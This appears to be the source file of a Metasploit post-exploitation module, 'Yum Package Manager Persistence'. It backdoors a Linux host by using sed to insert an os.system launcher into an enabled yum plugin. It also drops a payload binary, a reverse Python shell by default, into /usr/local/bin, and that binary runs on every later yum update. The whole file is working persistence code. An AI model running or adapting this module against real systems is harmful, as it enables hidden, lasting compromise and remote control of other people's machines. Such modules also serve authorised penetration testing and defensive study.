##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Linux::System

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Yum Package Manager Persistence',
      'Description'    => %q(
        This module will run a payload when the package manager is used. No
        handler is ran automatically so you must configure an appropriate
        exploit/multi/handler to connect. Module modifies a yum plugin to
        launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/
        will show what plugins are currently enabled on the system.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => ['Aaron Ringo'],
      'Platform'       => ['linux', 'unix'],
      'Arch'           =>
        [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'DefaultOptions' => {
                            'WfsDelay' => 0, 'DisablePayloadHandler' => true,
                            'Payload'  => 'cmd/unix/reverse_python'
                          },
      'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum
      'References'     => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        # /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos
        OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']),
        OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
      ])

    register_advanced_options(
      [
        OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']),
        OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/'])
      ])
  end

  def exploit
    # checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable
    plugin = datastore['PLUGIN']
    full_plugin_path = "#{datastore['PluginPath']}#{plugin}.py"
    print_status(full_plugin_path)
    unless writable? full_plugin_path
      fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system"
    end

    # /etc/yum.conf must contain plugins=1 for plugins to run at all
    plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
    unless plugins_enabled.include? 'plugins=1'
      fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf'
    end
    print_good('Plugins are enabled!')

    # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
    plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf"
    plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"
    unless plugin_enabled.include? 'enabled=1'
      print_bad("#{plugin_conf} plugin is not configured to run")
      fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*"
    end

    # plugins are made in python and generate pycs on successful execution
    unless exist? "#{full_plugin_path}c"
      print_warning('Either Yum has never been executed, or the selected plugin has not run')
    end

    # check for write in backdoor path and set/generate backdoor name
    backdoor_path = datastore['WritableDir']
    unless writable? backdoor_path
      fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
    end
    backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
    backdoor_path << backdoor_name

    # check that the plugin contains an import os, to backdoor
    import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"
    unless import_os_check.include? 'import os'
      fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd"
    end

    # check for sed binary and then append launcher to plugin underneath
    print_status('Attempting to modify plugin')
    launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')"
    sed_path = cmd_exec "command -v sed"
    unless sed_path.include?('sed')
      fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'
    end
    sed_line = "#{sed_path} -ie \"/import os/ a #{launcher}\" #{full_plugin_path}"
    cmd_exec sed_line

    # actually write users payload to be executed then check for write
    if payload.arch.first == 'cmd'
      write_file(backdoor_path, payload.encoded)
    else
      write_file(backdoor_path, generate_payload_exe)
    end
    unless exist? backdoor_path
      fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
    end

    # change perms to reflect bins in /usr/local/bin/, give good feels
    chmod(backdoor_path, 0755)
    print_status("Backdoor uploaded to #{backdoor_path}")
    print_status('Backdoor will run on next Yum update')
  end
end
